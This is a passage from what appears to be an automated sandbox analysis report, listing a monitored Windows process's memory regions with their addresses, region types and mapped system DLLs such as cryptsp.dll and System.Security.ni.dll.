0x7ff9ff37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff370000" filename = "" Region: id = 611 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 612 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 613 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 614 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 615 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 616 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 617 start_va = 0x7ffa621a0000 end_va = 0x7ffa622fefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\2b17cdd44210c6b182c3804d228caba4\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\2b17cdd44210c6b182c3804d228caba4\\system.management.ni.dll") Region: id = 618 start_va = 0x7ff9ff380000 end_va = 0x7ff9ff38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff380000" filename = "" Region: id = 619 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 620 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 621 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 622 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 623 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 624 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 625 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 626 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 627 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 628 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 629 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 630 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 631 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 632 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 633 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 634 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 635 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 636 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 637 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 638 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 639 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 640 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 641 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 642 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 643 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 644 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 645 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 646 start_va = 0x7ffa77e20000 end_va = 0x7ffa77e36fff monitored = 0 entry_point = 0x7ffa77e279d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 647 start_va = 0x7ffa77ab0000 end_va = 0x7ffa77ae3fff monitored = 0 entry_point = 0x7ffa77acae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 648 start_va = 0x7ffa77f40000 end_va = 0x7ffa77f4afff monitored = 0 entry_point = 0x7ffa77f419a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 649 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 650 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 651 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 652 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 653 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 654 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 655 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 656 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 657 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 658 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 659 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 660 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 661 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 662 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 663 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 664 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 665 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 666 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 667 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 668 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 669 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 670 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 671 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 672 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 673 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 674 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 675 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 676 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 677 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 678 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 679 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 680 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 681 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 682 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 683 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 684 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 685 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 686 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 687 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 688 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 689 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 690 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 691 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 692 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 693 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 694 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 695 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 696 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 697 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 698 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 699 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 700 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 701 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 702 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 703 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 704 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 705 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 706 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 707 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 708 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 709 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 710 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 711 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 712 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 713 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 714 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 715 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 716 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 717 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 718 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 719 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 720 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 721 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 722 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 723 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 724 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 725 start_va = 0x800000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 726 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 727 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 728 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 729 start_va = 0x550000 end_va = 0x564fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 730 start_va = 0x7ff9ff390000 end_va = 0x7ff9ff39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff390000" filename = "" Region: id = 731 start_va = 0x7ffa620b0000 end_va = 0x7ffa6219cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\e629af2f8417209404342bf320b481bf\\System.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\e629af2f8417209404342bf320b481bf\\system.security.ni.dll") Region: id = 732 start_va = 0x7ff9ff3a0000 end_va = 0x7ff9ff3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3a0000" filename = "" Region: id = 733 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 734 start_va = 0x580000 end_va = 0x589fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 735 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 736 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 737 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 738 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 739 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 740 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 741 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 742 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 743 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 744 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 745 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 746 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 747 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 748 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 749 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 750 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 751 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 752 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 753 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 754 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 755 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 756 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 757 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 758 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 759 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 760 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 761 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 762 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 763 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 764 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 765 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 766 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 767 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 768 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 769 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 770 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 771 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 772 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 773 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 774 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 775 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 776 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 777 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 778 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 779 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 780 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 781 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 782 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 783 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 784 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 785 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 786 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 787 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 788 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 789 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 790 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 791 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 792 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 793 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 794 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 795 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 796 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 797 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 798 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 799 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 800 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 801 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 802 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 803 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 804 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 805 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 806 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 807 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 808 start_va = 0x790000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 809 start_va = 0x7ff9ff3b0000 end_va = 0x7ff9ff3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3b0000" filename = "" Region: id = 810 start_va = 0x7ff9ff3c0000 end_va = 0x7ff9ff3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3c0000" filename = "" Region: id = 811 start_va = 0x7b0000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 812 start_va = 0x1b510000 end_va = 0x1b60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 